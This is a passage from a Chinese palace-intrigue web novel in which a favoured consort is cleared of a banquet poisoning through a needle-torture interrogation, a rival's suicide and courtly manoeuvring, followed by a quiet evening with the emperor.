淳太妃见状,仍笑着,侧头对身后侍女道:“云汐,你来说。”
云姑姑跪地禀道:“娘娘与慧小主在太液池畔散步,二人相谈甚欢,后来慧小主怕误了宫宴时辰,才匆匆先回殿中。”
淑妃见状,便想做个顺水人情。
当即扬眉一笑,朝端木清羽娇声道:“臣妾怎么说来着?这事本就与慧贵人无关。”
蔺皇后不理她,只强撑着精神,目光紧紧盯着淳太妃:“太妃说恰巧遇见,这世上……哪有这般巧的事?”
淳太妃端起茶盏,不疾不徐:“所以说无巧不成书,今日若非本宫遇着她,她岂不就要平白受冤?”她转头看向楚念辞,目光温和,“本宫与慧贵人,倒是有缘。”
窦太后精明过人,一眼便看出自己妹妹在替那她周全。
只是她一时想不通,淳太妃向来不涉六宫是非,今日为何破例?
但眼下情势如此,她也不便细究。
“哀家这妹妹,向来实诚,从无虚言。”太后淡淡开口,算是认了这份证词。
蔺皇后仍不甘心,话锋一转:“那方才慧贵人自己,为何不提与太妃相遇之事?”
淳太妃垂眸饮茶,并不接话。
侧头一眼轻轻落在楚念辞身上。
帮到这儿了。
下面,你自己来。
楚念辞心下了然。
太妃这是在考她。
若连这点场面都应付不了,那今日这份援手,便算白给了。
她不慌不忙,盈盈一礼,抬眸时神色坦然:“回皇后娘娘,非是臣妾不提,而是不敢提。”
“哦?”蔺皇后挑眉。
楚念辞正色道:“其实臣妾本是被一个小太监骗去斓贵人处,走到半路才醒过神……斓贵人若真有事,怎会不派贴身宫女?正迟疑时,恰遇太妃娘娘……”
“臣妾见娘娘面色不佳,想起自己通些医理,又恰巧带着一味可治头疾的丸药,便斗胆赠予太妃。”
“后来下毒之事牵连到臣妾,臣妾不是不想说,只是若把太妃随便牵扯进来,倒像是挟恩图报,臣妾心想,皇上圣明、太后英断,定会还臣妾清白。”
端木清羽目光露出赞许之色,唇角缓缓弯起:“慧儿宁愿自己受屈,也不愿意牵扯旁人,有古君子之风。”
太后亦微微颔首。
蔺皇后脸色发白,仍不甘心:“这未免也太巧,太妃……”
“皇后。”淳太妃打断她,声音却凉得像浸过井水,“本宫与慧贵人素无交情,犯不着替她扯谎。”
蔺皇后语塞。
端木清羽起身走到楚念辞面前,伸手扶她:“朕知你心地纯善,不致如此不堪。”
楚念辞搭着他的手正要站起,身子一软,端木清羽连忙抱着她。
众目睽睽之下,她垂下眼,耳根泛红。
蔺皇后咬牙别过脸。
淑妃攥紧帕子,眼底满是压不住的不悦。
窦太后笑着打圆场:“好好一个宫宴,险些演成窦娥冤,来人,给慧贵人搬张椅子来,跪了这半晌,等下让太医好生瞧瞧膝盖。”
宫女机灵地将椅子放在端木清羽身侧。
楚念辞稳稳坐定。
端木清羽这才松开手,退回御座。
垂眸时,唇角那点笑意已如云露散尽,端木清羽垂下眼,沉吟片刻后,长长的睫毛在脸上投下一弯淡影如一把弯刀。
端木清羽眸光如冷电地扫了一眼跪在地上的素云、玉苗,还有之前作证的那几个御膳房宫女,以及造办处的太监。
“去把暴室精奇嬷嬷费氏叫来。”
话音刚落,那几人肩膀猛地一缩,像被人掐住了后颈。
费氏。
宫里有名的活阎王。
折磨人不见血,落她手里,求死都是奢望。
蔺皇后攥紧了扶手,指尖泛白。
悦贵人嘴唇唰地褪了血色,两腿打颤,怎么都稳不住。
楚舜卿额头冷汗密匝匝渗了一层,拿帕子摁都摁不干。
满殿落针可闻。
不多时,一个老嬷嬷低头进来,步子又稳又快,她满脸褶子,眼神却阴沉沉不见底,扫一眼殿内,也不多看,径直跪下:“奴婢费氏,叩见皇上。”
连太后,皇后都没瞧一眼。
看来只听皇帝的。
“去,不管你用什么法子,”端木清羽声音冷得像淬过冰,“让她们现在就说实话。”
费氏咧嘴一笑。
那笑容干巴巴挂在满是皱纹的脸上,像核桃上长出了鬼脸,比哭还瘆人。
“陛下放心。”她回头,目光从几个宫人脸上慢慢刮过,像在挑案板上的肉。
然后从裙底摸出一个小木盒,“啪”地打开。
里头齐齐整整排着十几根细针,针尾泛着冷光。
“奴婢这手叫‘仙人登梯’,”她嗓音沙哑,不紧不慢,“就这几个货色,能挨过三针的,奴婢就算是砸了招牌。”
她扫了一圈,盯住素云,见她仍梗着脖子。
“这个骨头硬,”她点头,像真有几分满意,“好,奴婢就拿她开头。”
话音没落,那只枯枝似的手已攥住素云头发,往下一扯。
素云被迫弯腰,喉咙里挤出一声呜咽。
费氏看也不看,针尖精准扎进脊骨缝隙……没入。
楚念辞和几位太医同时倒吸一口凉气。
那是人身上最痛的地方。
素云整张脸瞬间扭曲,嘴张到极致,竟发不出声……骨头缝里钻出的酸、麻、痛,像有蚁群啃着脊髓。
殿内没人敢喘气。
只有费氏那干哑的笑,像生锈的刀刮过锅底。
果然,针才进去一寸,素云整个人就像过电似的剧烈抽搐起来,她两眼直往上翻,却昏不过去,嘴角咬得稀烂,凄厉的惨叫瞬间响彻大殿。
“皇上……太后……奴婢招……奴婢全招……”她整张脸痛苦地扭曲成一团,几乎变了形。
端木清羽喉咙动了动,下意识用袖子掩了下口,想吐的样子。
冷声道:“罢了。”
费嬷嬷听见,嘿嘿干笑两声,意犹未尽地拔出针,低头退到了一旁。
素云缓过劲来,嘴角已经咬得稀烂……
她全家的性命都捏在悦贵人手里。
此刻只有自己把罪责全顶下来。
“是奴婢……是奴婢恨慧贵人,”素云伏在地上,声音发颤,“她害我家小主丢了嫔位,还屡屡顶撞,奴婢私下弄来阴阳壶,买通御膳房的宫女,想在宫宴上毒死她,又怕被人发现,前几日遇上蔺家小姐想进宫,就顺水推舟让她下手……没承想会误伤这么多人……”
“这话说不通。”楚念辞声音清冷,不疾不徐,“你一个小小宫女,哪来的本事使唤御膳房、造办处?又凭什么说动伯府千金替你动手?漏洞太多。”
淑妃满脸不相信:“费氏再给她扎几针,让本宫好好瞧瞧!”
精奇嬷嬷垂首立在原地,纹丝不动。
可光是这话,已把素云吓得浑身筛糠。
她生怕那老嬷嬷真再动手,终于撑不住了,慌忙改口:“是……是我家小主,她知情的!”
“你……你敢血口喷人,反诬主子!”悦贵人脸色惨白,猛地冲上前,扬手一记耳光狠狠扇在素云脸上。
素云捂住脸颊,连哭都不敢。
楚念辞淡淡转向御座:“陛下,孤证不立,方才指证臣妾的那两个御膳房宫女,也该请费嬷嬷问一问。”
那两个宫女“扑通”跪倒,几乎趴在地上。
“你们谁看见我进了御膳房?”楚念辞问。
一个宫女哆嗦道:“奴婢……只瞧见您往毓秀宫方向走……”
另一个头埋得更低,声音发虚:“奴婢……只看见背影……”
“方才你们可不是这样说的。”楚念辞不再看她们,委屈地望向端木清羽,“皇上,求您还臣妾一个公道。”
端木清羽星眸微沉,眼底已浮起不耐与厌恶。
这不是捕风捉影,是存心诬陷。
“把涉案所有人也拖去暴室,让费氏仔细盘问。”
“奴才招!奴才全招!”不等他说完,造办处那太监已膝行上前,他们情愿死也不愿落在费氏手里。
于是以头抢地,哭喊出声,“是悦贵人亲自来定做的阴阳壶。”
御膳房两个宫女见状,魂都散了,连连磕头如捣蒜:“是、是悦贵人买通奴婢……奴婢是一时糊涂……”
一切终于对上了。
悦贵人浑身剧烈一颤,像被抽去了筋骨,整个人软软瘫倒在地。
“费氏。”端木清羽只淡淡地喊了一声。
费氏慢慢朝她走过来。
悦贵人嘴唇唰地没了血色,上下牙磕得咯咯响,却一个字也吐不出来。
那张清冷素净的脸此刻白得像纸,冷汗一层层往外渗,顺着额角淌进鬓发。
整个人蜷缩成一团,拼命往后退,仿佛这样就能藏进阴影里去。
哪里还有半分昔日清贵自持的模样。
“你……你别过来,”她惊恐万状地说,“臣妾愿意招……”
第106章 悦贵人服毒,楚舜卿流放。
悦贵人彻底撑不住了。
她跪在地上,像倒豆子般全盘托出,声音急颤:“臣妾久不得宠幸,新人一茬茬进来,何时才能翻身?臣妾糊涂,叫人做了阴阳壶,可臣妾只想用软骨散让她们出丑,从未想过害人性命!”
她膝行两步,泪流满面:“那鹤顶红、孔雀胆……臣妾当真不知情啊!”
“是楚内医来找臣妾,带蔺小姐过来,说什么只要能进宫,什么都肯干,那两种毒药,都是楚舜卿给她的,旁的臣妾一概不知!”
交泰殿瞬间炸开了锅。
“原来是悦贵人、楚内医、蔺秀女三人合伙毒害宫嫔!”
“这若不彻查出这几个毒妇,往后宫里永无宁日。”
“多亏慧贵人明察秋毫……”
蔺皇后整个人像被人按进了冰水里,从心口一路凉到指尖。
耳边嗡的一响,眼前一阵发黑。
几乎差点昏倒。
她死死咬着舌头,才不至于再次昏过去。
绕了这么大一圈,最后竟是亲妹妹与外人合谋,反被毒死。
害人不成,反害己命。
这话传出去,妹妹便是死了也要背上谋害宫嫔的罪名。
连家族都要遭殃。
她绝不能让事情朝这个方向走。
蔺皇后猛地转头,目光死死盯在楚舜卿脸上。
那眼神里有惊惧,有警告,更有一闪而过的,弃卒保车的狠绝。
楚舜卿面色惨白。
她不傻。
皇后那眼神她看得分明。
这是要她把所有罪名一肩扛下。
凭什么?
她不是蔺家人,皇后平日里何曾真正照顾过她?
好处没沾着,背黑锅倒想起她了?
事到如今,她绝不可能认。
“你……你为何如此?”蔺皇后声音发颤,“本宫平日待你不薄!”
“娘娘,这不关我的事。”楚舜卿连连摇头,眼泪汪汪地哀声道,“是景珏她自己求我的,她说只要能进宫,什么都愿意做,那毒药也是她主动要的,她说想第一个侍寝……”
反正人已经死了。
死人不会开口,那便把一切都推给她。
“你……你……”蔺皇后脸色惨然,喉中一阵腥甜。
白眼狼。
这女人就是个白眼狼。
这是要把所有罪名都摁在妹妹头上了。
只可惜景珏已死,再不能辩白一句。
看着这二人当众撕咬,楚念辞唇边浮起一丝冷笑。
她没兴趣看她们狗咬狗。
“陛下,”楚念辞适时开口,她把重点给拉了回来,“悦贵人背后,必定还有人指使。”
“说得是,”淑妃两眼一亮,用帕子掩唇,嘴角却微微扬起,“一个小小贵人,哪有胆子做这种事?”
她瞥向楚念辞,眼底多了几分复杂……幸亏她提醒,不然就被皇后这老妇给带歪了。
这刀确实挺好用的,若是自己能掌控得了的话……
端木清羽看向悦贵人,声音听似平和,却寒意刺骨:“你若供出主使,朕或可留你一命。”
他顿了顿:“朕自问不曾亏待你,你倒说说,谁才是背后主谋?”
窦太后脸色难看起来。
因为悦贵人是她亲自选进来的。
悦贵人盯着地上,太后与皇后的影子。
头不敢抬。
她惨然一笑。
太后只吩咐她阻止白芷若侍寝,是她自己贪心,想把慧贵人一并拉下来。
一步错,步步错,竟闹出了人命。
如今说什么都晚了。
若供出太后,她活不成,她父母、她全族,都活不成。
可她若自己扛下,太后念在她“忠心”的份上,或许还能救她父母一命。
她凄然抬头,泪流满面:“陛下,臣妾知罪,路是自己选的,罪也该自己担,是臣妾记恨慧贵人,才出此下策……求您看在往日情分,饶过臣妾父母……”
端木清羽冷冷地不带任何感情打断她的话:“费氏,带去她去偏殿,细细审。”
悦贵人清美双眼含泪望着他。
一行清泪无声滚落。
“陛下当真无情……”她喃喃低语。
“若是慧贵人做这种事,您可会把她交给费氏?”
端木清羽冷冷一笑。
他这双眼,开心微笑时,如初春的江水,明俊得能让人如沐春风,而冷笑时,又如冬天的寒冰,能让人冷彻心扉。
他冷冰冰道:“慧贵人不会如此心思歹毒。”
悦贵人凄凄一笑,“臣妾真后悔……为何要进宫……为何要喜欢上您……”
突然,她将涂着艳红蔻丹的小指塞进口中,狠命一咬……
指甲里藏着的,是提纯后的剧毒。
她猛地捂住肚子,张着嘴却发不出声。
口鼻缓缓渗出血来,身子晃了晃,直直栽倒。
抽搐两下,便不动了。
殿内死寂。
“哐当”一声,不知哪个宫女的茶盘落了地。
这声响在寂静中格外刺耳,惊得众人心头一颤。
端木清羽骤然起身,掩住口鼻道:“别让她死了。”
章太医疾步上前,探了探脉息,又翻看眼睑,缓缓摇头。
“陛下,救不回来了。”他低声道,“宴上那毒是稀释过的,她指甲里藏的是原毒,浓度高出十倍不止……一口便够了。”
蔺皇后脸色青白交加。
心中确实松了一口气。
人死了就死无对证。
她忍住哀伤,晃了晃才艰难地站起来,羞愧地上前跪下:“臣妾有罪,没教好妹妹,请陛下责罚。”
淑妃最喜欢打落水狗。
美艳的脸上露出几分惋惜,一双杏眼含讥带讽地看向皇后:“娘娘,都怪令妹太贪心了,既然入选,安分守己便是,偏要还想首次侍寝……臣妾瞧着,心里也难受,但是她也是自食其果,还差点害了旁人,皇后有罪,可皇后家里更有罪,教女不严,才致此惨祸。”
淑妃嘴上说着宽慰的话,可那张明艳的脸上,分明写着幸灾乐祸。
蔺皇后胸口剧烈起伏,喉咙涌上一股腥甜,终于没忍住。
一口血喷在袖口上。
这……管教不严之罪看来是逃不掉。
窦太后见她实在可怜,本想开口说句话。
可方才悦贵人的事,自己也沾了一身腥,此刻张了张嘴,终究什么也没说。
端木清羽淡淡道:“皇后确有失察之过,但蔺景珏不与你同住,有些事你也鞭长莫及,便罚你禁足三月,扣两年俸禄。”
“承恩伯府教女不严,削爵夺职,在家听参。”
话说到这个份上,蔺景珏算是白死了。
还连累了蔺家失了爵位。
皇后脸色灰败如枯木:“臣妾谢主隆恩……”
话音未落,又是一口鲜血喷出,整个人软软倒了下去。
夏冬连忙扶住她。端木清羽吩咐刘太医:“送皇后回宫,好生照料。”
至此,此事终于定了性……
悦贵人指使蔺景珏下毒,楚舜卿提供毒药。
蔺景珏中毒身亡,咎由自取。
谢氏教女不严,削去封号。
蔺北城褫夺承恩伯爵位。
唯独蔺景瑞却不知情,仍保留国舅名号。
端木清羽不愿宫宴丑闻继续外传,损及皇家颜面,一道密令下去……
所有涉案宫人、太监、宫女,悉数处死。
一夜之间,处理得干干净净,命妇们也在太监与侍卫的引领下,陆续离宫。
“楚舜卿向蔺景珏提供毒物,革去所有职务,杖刑六十,流放三千里,苦寒之地充作苦役。”
判决一出,楚舜卿浑身冰凉。
六十杖下去,半条命就没了。
即便侥幸活下来,拖着伤走上三千里,不,她这样子,走不出一百里就得死在半道上。
这和赐死有什么分别?
事已至此,躲不过了。
可她不甘心。前世这时候,自己明明还活得好好的!
怎么办?
她瞥了一眼被抬走的皇后,就算人醒了,也绝不会替自己求情。
情急之下,她望向楚念辞。
“不……不可能!这怎么可能?”
她前世此时还活得好好的。
他不要这样悲惨地死去。
不!肯定不是真的……
她明明记得上辈子,楚念辞活得窝窝囊囊,夫君几乎没拿正眼看过她。
而她现在正风光无限。
为什么这一世,什么都不一样了?
她始终觉得,只要她抢走了楚念辞的人生,这辈子一定能过得比她好无数倍。
将对方彻底踩在脚下!
现在去求楚念辞,这不是打自己的脸吗。
可现在唯一的路就是求她。
这时候还要脸,命还要不要?
最终她忍着屈辱,“扑通”跪倒,膝行到楚念辞脚边,一把攥住她的裙摆:“长姐,救我,我也是不得已……寄人篱下,受蔺景珏所迫,她是皇后亲妹妹,我不听她的,哪还有活路?求您看在姐妹一场,替我向皇上求求情!”
殿内所有目光齐刷刷聚来。
这是个死局。
求情,便是徇私,不求,便是冷血。
楚念辞垂眼看着她,嘴角轻轻一撇,抬手拂开那只攥紧的手,一眼都没多看。
“陛下,”她转向端木清羽,端端正正跪下,“既是臣妾的妹妹,臣妾只求一事,请陛下赐她个痛快,直接判斩刑。”
楚舜卿一颗心沉到了谷底。
这哪是求情?
这是催她快死!
“长姐,我是你亲妹妹,”她声音嘶哑,“你为何这般狠心……”
蠢货。
楚念辞心中冷笑。
除了勾引蔺景瑞,这个庶妹当真一无是处。
殿中已有人露出不忍。
端木清羽眉头微皱,看向楚念辞,忽然明白了她的用意。
方才的判决已下,帝王金口,断无收回之理。
“慧儿,朕已下圣旨,绝无更改,”他缓缓开口,“那就先执行杖刑,待伤势好转,再行流放。”
楚舜卿一怔,猛地回过神来。
只要伤一直不好,她就能一直留在京里。
而她恰好有法子,让这伤……一直好不了。
她不再挣扎,死死咬住嘴唇,任由侍卫拖了出去。
这时隔壁的屏风里,扬起一阵欣喜的欢呼,"莲嫔娘娘醒了……"
淑妃脸色一沉,明显不高兴了。
而楚念辞却嘴角一弯,有好戏看了……
第107章 孔雀胆毁了白芷若形象
隔壁隐约传来莲嫔的呻吟……
娇若莺啼,让人心魂欲碎。
端木清羽却置若罔闻,一夜风波让他无心怜香惜玉,恨不得马上离开。
“皇帝。”太后从背后叫住他,面露忧色。
这个养子姿容绝世,心性却深不见底,活了大半辈子,太后觉得,自己从未真正看透他,正因看不透,她才不得不更谨慎地安排些新人进来。
窦太后望向端木清羽的目光带上痛心:“皇帝,莲嫔与纯贵人入宫时,她们父母千叮万嘱,将人托付给哀家……如今却在宫里遭这样的罪。”
她声音低缓哀伤,“哀家恳请陛下,多加照拂,莫让老臣寒心,若能让她们住在养心殿的暖阁,哀家也可略略放心。”
话音落下,端木清羽回过头来,面露一丝犹豫。
淑妃眼底掠过一丝冷光。
太后让那两个丫头入住养心殿,明摆着就是让这两人趁机获得皇帝的怜爱,寻找机会侍寝。
她本还指望今夜能把皇上请去玉坤宫……
“太后心疼妹妹们,臣妾明白,”淑妃当即柔声接话,媚眼流转望向端木清羽,“可她们身子还未养好,陛下也累了一天,不如送到储秀宫慢慢调养……”
她话未说完。
太后忽然掩口低咳起来,一声接一声,咳得肩头轻颤,脸色越发苍白:“皇帝若不允……哀家这心里实在过意不去……”
她近来病体初愈,这一咳,整个人仿佛都虚弱了下去。
端木清羽微微一怔,这才发觉太后竟已苍老了这么多。
在他记忆里,这位养母从来雍容从容,何曾有过这般失态?
太医说过,她的身子再经不起忧思气恼。
端木清羽蹙着一双俊眉,终究心软了:“母后宽心,儿臣过去看看。”
说罢起身朝隔壁走去。
淑妃气得暗暗咬牙,忙向楚念辞递眼色,盼她能将皇上劝回来。
楚念辞却只轻轻摇头,唇角勾起一抹看戏般的弧度……
好戏,这才要开场呢。
淑妃见她唇角微翘,并不回应自己的暗示,虽气恼不解,却也只得跟上端木清羽。
屏风后,纯贵人仍昏迷未醒,莲嫔白芷若已能勉强坐起。
白芷若一见端木清羽,泪花珍珠般不断涌出那双莹莹美目,沿着苍白脸庞滑落下来。
她娇美容颜是这批新人中最出众的,这一哭,便如牡丹流泪梨花带雨……
“陛下,臣妾好冤枉。”她娇娇柔柔地道。
今夜虽不能侍寝,但只要引得皇上怜惜,带去养心殿照料,往后恩宠便有了指望。
端木清羽露出怜香惜玉的不忍来,上前坐在榻边。
白芷若挣扎着,颤巍巍抓住他的袍??,泪珠簌簌而落:“陛下……臣妾无端受害,实在害怕极了……在宫里举目无亲,还望陛下怜惜,让臣妾住在养心殿……”
她娇柔美貌中,带上苍白脆弱,更添几分梨花带雨的柔弱。
寻常男子见了,只怕早心软成一团。
端木清羽目光落在她脸上,果然缓和了几分。
白芷若见状,哀泣得越发凄楚,死死地拽着他的袖子。
端木清羽正要俯身握住她的手安慰。
忽地,他俊美的眉头一皱,轻轻嗅了嗅道:“什么味道?”
众人这才察觉,紫铜香炉中沉水香的馥郁里,混着一股难以形容的腥味。
楚念辞忽然上前一步,拦在了他身前,“陛下小心……她裙子上有血。”
“莲嫔娘娘、娘娘裙子上有污秽……”一个小宫女眼尖,低呼出声,同时捂住了口鼻。
众人视线瞬间聚焦……
白芷若浅碧的裙角上,赫然染着一片暗绿色的污渍。
楚念辞声音不高,却让所有人都听得清楚:“孔雀胆又名‘肛漏毒’,中此毒者,不论轻重,皆会有后遗症,病中会失禁渗漏,这痕迹,怕是娘娘方才情急之下不慎漏粪……”
她没再说下去。
可意思已明明白白。
那是从粪门渗漏出来的污秽。
众人全都露出恶心之色。
淑妃本就看不惯白芷若这做作的姿态,此刻岂会放过机会,当即厉声斥道:“自己身子不净,也敢靠近陛下,这样子怎么能到养心殿去污染圣洁之地……”
她话未说完,就说不下去了。
因为端木清羽已脸色发青,猛地捂住口鼻,转身疾步而出。
白芷若瘫软在床榻上,吓得连眼泪都不敢流了。
一脸凄惶,脸上血色尽褪,羞愤得浑身发颤。
怎么会……偏偏是这种不堪的毒发后遗症状?
“陛下,臣妾不是故意的……”还没说完,她泪如雨下,好不容易止住的眼泪又簌簌而下。
可屏风外端木清羽却再未走近一步,只捂着鼻子一阵干呕。
楚念辞心想端木清羽此刻别说太后的情面,
便是八匹马也拉不动他回头进屏风。
楚念辞脸上浮现出一丝笑意。
太尉三番四次让白嫔害自己。
今天白芷若又大殿之上当众阴阳自己,如今,她裙底一片污秽。
这丢人丢到家,何其畅快?
他们想杀自己,她没能力反扑之前,却想先诛心。
端木清羽站在那儿,温和安慰:“朕知道爱妃无辜,朕已为你诛杀元凶,讨回了公道,你先住到储秀宫,安心养病吧。”
白芷若心一沉。
她千算万算,却没想到这毒竟有如此不堪的副作用,彻底打乱了她的谋划。
白芷若却忽然挣扎着起身,泪眼朦胧地望向屏风方向,哀声道:“陛下若因此厌弃臣妾……臣妾还不如死了干净!”
说完便做势要向床柱撞去。
“拦住她!”端木清羽立即喝道,却动也没动,“爱妃好好养病,莫做傻事。”
好深的城府手段。
若不是帝王那点不为人知的洁癖,进去这一扶,局势变能瞬间翻转。
楚念辞冷眼旁观,心中清明。
上辈子白芷若与玉嫔联手,升到贤妃与淑妃分庭抗礼,岂是简单角色?
她从不指望单凭此事就能将对方彻底扳倒。
但经此一遭,从此他看见白芷若,便会将她与污秽连在一起。
对于靠美貌与柔弱姿态立足的白芷若而言,这无异于根基已毁。
前世她争宠最大的筹码,便是那副娇柔绝艳的模样。
可如今,这份“娇美动人”已被孔雀胆彻底污了痕迹。
端木清羽再未多言,只匆匆转身,几乎逃也似的离开了这间屋子,临走还握着楚念辞的手:“慧儿,朕恶心……去给朕煎一剂清新茶。”
说完,便牵着楚念辞的手,快步离开。
留下一室诡异的寂静,与瘫坐在床、面无人色的白芷若。
她精心维持的形象,全毁了。
太后见皇帝头也不回地离去,心知今夜事已难成,面上不露分毫,只轻轻叹了口气:“罢了。”
随即搭着淳太妃的手,仪态端方地出殿而去。
淑妃眼睁睁看着端木清羽拉着楚念辞一同走远,心头那股酸涩与恼火直往上涌。
她最不能忍受的。
就是陛下对别的女人上心。
虽说楚念辞是自己的人。
可见陛下如此宠爱她,才猛地意识到,自己选的这把“刀”似乎过于锋利了,若掌控不好,恐怕反伤己身。
她有点开始后悔这个决定了。
正暗自气闷,却听见身后传来一声极轻的叹息。
白芷若已勉强撑起身子,抹着脸上的泪痕,眼底却是一片冰冷的轻讥。
她何等机敏,早已看出皇帝对慧贵人的宠爱,已经超过了她的想象。
而现在能唯一利用是淑妃眼中的妒恨。
压下满腔羞愤,她迅速恢复了平静,语带挑拨:“淑妃娘娘,今夜陛下本该是陪您回宫的吧?怎么最后……反倒带着慧贵人走了?”
“只怕现在陛下心里,只有慧贵人。”
“够了!”淑妃脸色发黑。
脸色铁青,猛一回头,瞥见她身上那件与自己款式相近的衣裙。
“轮得到你来挑拨?”淑妃火起冷声斥道。
“娘娘息怒,臣妾失言了。”莲嫔惶恐地说着,嘴角却挑起一抹微笑。
“养好你自己的伤吧。”说完,她拂袖欲走。
白芷若望着她的背影,轻轻补了一句:“娘娘慧眼,选了一把好刀,只是刀太利,还望日后用时,小心别割了自己的手。”
淑妃脚步几不可察地一顿,并未回头,径直离开了。
殿内终于彻底沉寂下来,唯余白芷若独自坐在原地,眼神晦暗不明……
住进储秀宫,等于没有分封宫室,她只是名义上主位。
她已打听过,宫里最好的殿阁,是玉坤宫与棠棣宫。
玉坤宫住着淑妃,她可不想跟她一处,棠棣宫住着慧贵人,没有主位,她住进去就是主位娘娘。
想住进去,淑妃不会帮自己了?
为今之计,看来只有与皇后联手了。
可皇后是太后的人。
与太尉府有天然的仇恨,这得想想办法。
第108章 与棋艺精湛的皇帝对弈之道
两人手牵手步出交泰殿。
远远地听见四方城外一片鞭炮声扬起。
百姓们正在过年。
端木清羽为她拢了拢披风,楚念辞则踮起脚尖,用头顶轻轻蹭了蹭他的鼻尖。
顺着微微和暖的春风踏入棠棣宫,一桌热腾腾的晚膳正候着:暖胃的雪梨粥、刚蒸好的酥肉、薄如纸的煎饼,还有酱香四溢的肉包子。
团圆最后端进来的是一盘热腾腾的饺子。
香气扑面而来,瞬间驱散了方才殿中的压抑恶心。
“还是慧儿这儿舒心,”端木清羽坐下,明俊眉宇间倦怠舒展开来,“今晚这些事,实在令人头疼。”
楚念辞盛了一碗梅子汤递过去,声音轻柔:“陛下莫再想那些烦心事了,喝点汤,压压恶心。”
端木清羽接过来饮了几口,胸口的恶心感才压了下去。
后宫妃嫔众多,可她们敬畏的是帝王,谋求的是恩宠与权势。
唯独眼前这人,知他冷暖,懂他喜恶。
他握住她的手,语气温和中带着感慨:“幸好有慧儿在,后宫纷扰不断,唯有在你这儿,朕才能真正松快些。”
“刚刚差点委屈你。”他道。
楚念辞抬眼望他,眸中情意宛然:“臣妾不觉得委屈,因为臣妾信陛下,会查清此事。”
端木清羽凝视着她,心中泛起一丝罕见的暖意。
见惯了战战兢兢、逢迎算计,这般熨贴的懂得,于他而言何其珍贵。
楚念辞已卸了钗环,青丝如瀑散在肩头,坐在灯下,如百姓的妻子般静静地替他盛了一碗饺子。
这般景象。
竟让端木清羽生出一种平凡的安稳感来。
他脱下外袍,墨发如长瀑垂落,姿态放松了许多。
“味道不咸不淡刚刚好,”他尝着饺子,“不必再备蘸酱了。”
她一向知道他的口味。
不知从何时起,他看她的眼神里,宠溺中多了一分真心:“你灵巧聪慧,却难得存有纯善。朕会一直护着你,不叫后宫那些污糟事染了你的性子。”
楚念辞低下头。
纯善?
她何尝不想。
可在这深宫里,若只守着这份纯善,只怕早已尸骨无存。
心中这般想着,她面上却浮起一抹羞涩的笑:“陛下信臣妾,臣妾也信您。”
她眼波流转间不经意流露的媚意,如羽毛般轻轻拂过帝王心头。
端木清羽只觉心头微荡。
不知不觉便脱口说道:“蔺景珏歹毒,但若无悦贵人里应外合,她也难成事,朕已罢免了礼部尚书,你父亲现任苏州知府……不如调他入京,待明年便递补尚书之位。”
楚念辞心中一震。
知府至尚书,其间何止跃了数级?
多少官员熬尽一生也难攀至三品,帝王竟要为她破格提拔?
她确实需要家世支撑,但绝非此时。
这般擢升必遭朝野非议,更会惊动勋爵世家……
这会不会是帝王的一次试探?
即便圣眷正浓,她也从未放松警惕。
“陛下,”她忽然起身跪下,神色惊惶凄然,“臣妾恳请陛下收回成命。”
端木清羽诧异地握住她的手:“你不高兴?”
“陛下厚爱,臣妾感激不尽,但此举不合规矩,臣妾不能接受,”她仰起脸,言辞恳切,“父亲一月内已升迁一次,若再破格提拔,外人定会猜测陛下是因宠幸臣妾而徇私,父亲并无卓绩,万万不可。”
她眼睫微湿,声音轻而坚定:“臣妾怎能忍心让天下人议论陛下用人唯亲,污了您的圣名?”
端木清羽沉默地望着她。
身边之人,谁不想从他这里多得些权势富贵?
唯独她,即便想要,也始终守着分寸。
始终能为自己着想。
这一刻,他心中涌起的动容难以言喻。
在这冰冷的墙壁里,她是朕唯一感到过温暖的人。
正因如此,他更想将一切好的都给她。
“起来吧。”他亲手扶起她,揽入怀中轻叹,“朕知道了。”
楚念辞低着头,却别过脸去。
虽然父亲的官位不能再升了。
但她却想为母亲争一争。
于是道:“陛下尝尝这道虾仁鲜肉饺子,肉质鲜嫩,很是爽口呢。”
帝王哪能瞧不出她神色不对。
他放下茶盏,温声问:“又不高兴了?”
楚念辞眼眶慢慢红了,摇了摇头:“没什么……臣妾只是忽然想起,臣妾的娘是个商户女,父亲如今做了知府,越发不般配了。”
她顿了顿,声音低下去:“娘性子倔,当年硬是不许那清倌人进门,与父亲闹掰,往后父亲再升官,只怕她更要受气……臣妾有时候想,若人有下辈子,娘宁可嫁个庄稼汉,安安稳稳过一辈子,也不嫁官宦人家了。”
帝王听她这样说,心头便软了。
他早知她母亲出身低微,却不承想她心里压着这样的事。
尽管自己的母亲是皇后。
何尝也不是有这样的屈辱委屈。
他沉吟片刻,开口时语气更温和:“你父亲的职位,容后再议,先给你母亲封个四品孺人……有诰命在身,便无人敢轻慢,你父亲,也会待她好些。”
楚念辞一怔,随即面露惊喜,却又似有几分不安:“可、可这不合规矩……”
“好了。”帝王打断她,声音虽轻,却不容置疑,“朕意已决。”
楚念辞抿唇一笑,眉目弯弯,温驯地低下头:“臣妾谢陛下恩典。”
四品孺人。
母亲有了诰命,那清倌人这辈子都别想进门了。
她不急。
对她的自私自利的父亲。
她要让他步步高升,尝尽风光,利用完了,再在他最得意的时候,亲眼看见这一切塌下来。
那才是最狠的报复。
所以,在父亲还有用之前。
她不会动他。
窗外夜色渐深,棠棣宫内暖意氤氲。
两人用了膳,洗漱过后,便坐在窗边下棋,敬喜与团圆就坐在小几边,四个人像一家人似的,看两人下棋。
棋子落下,清脆有声。
团圆近来常陪李德安下棋,也勉强能看懂一些。
敬喜常陪皇帝下棋,也是个中好手。
端木清羽棋艺师从了然大师,大夏没几个人能与之相抗。
两个人见慧贵人与皇帝下了那么久。
心中不由佩服,都不约而同地盯着棋局,盼着能学到一点技艺。
可眼前皇上和主子的棋路,两人却越看越糊涂……这布局怎么从未见过?
莫非是什么新奇的玩法?
两人不由看得更认真,心想可得仔细记下,回头好学学。
正琢磨着,只听楚念辞嗔道:“陛下专欺负臣妾呢,臣妾不玩了。”
端木清羽抬眼瞧她,眼里带着笑意:“朕与你下棋才舒心,怎么能不玩呢?朕不许。”
和任何人下棋总要费心算计,唯独和她对弈,轻松又自在。
他越发觉得两人之间有种难言的默契,心情颇好,随口道:“好啊,慧儿技艺越发精湛,堪称落子成花。”
楚念辞忙谦虚道:“臣妾哪有这本事,不过是跟着陛下学罢了。”
团圆听得云里雾里,什么棋艺精湛?
敬喜更是摸不着头脑,什么落子如花。
两人揉了揉眼睛,只往整个棋盘上一瞧。
哎呀!
这哪里是在对弈?
黑白棋子分明在棋盘上拼出了歪七扭八的花朵!
两人对视一眼,一时无语。
“陛下惯会取笑臣妾……”她假意嗔怪。
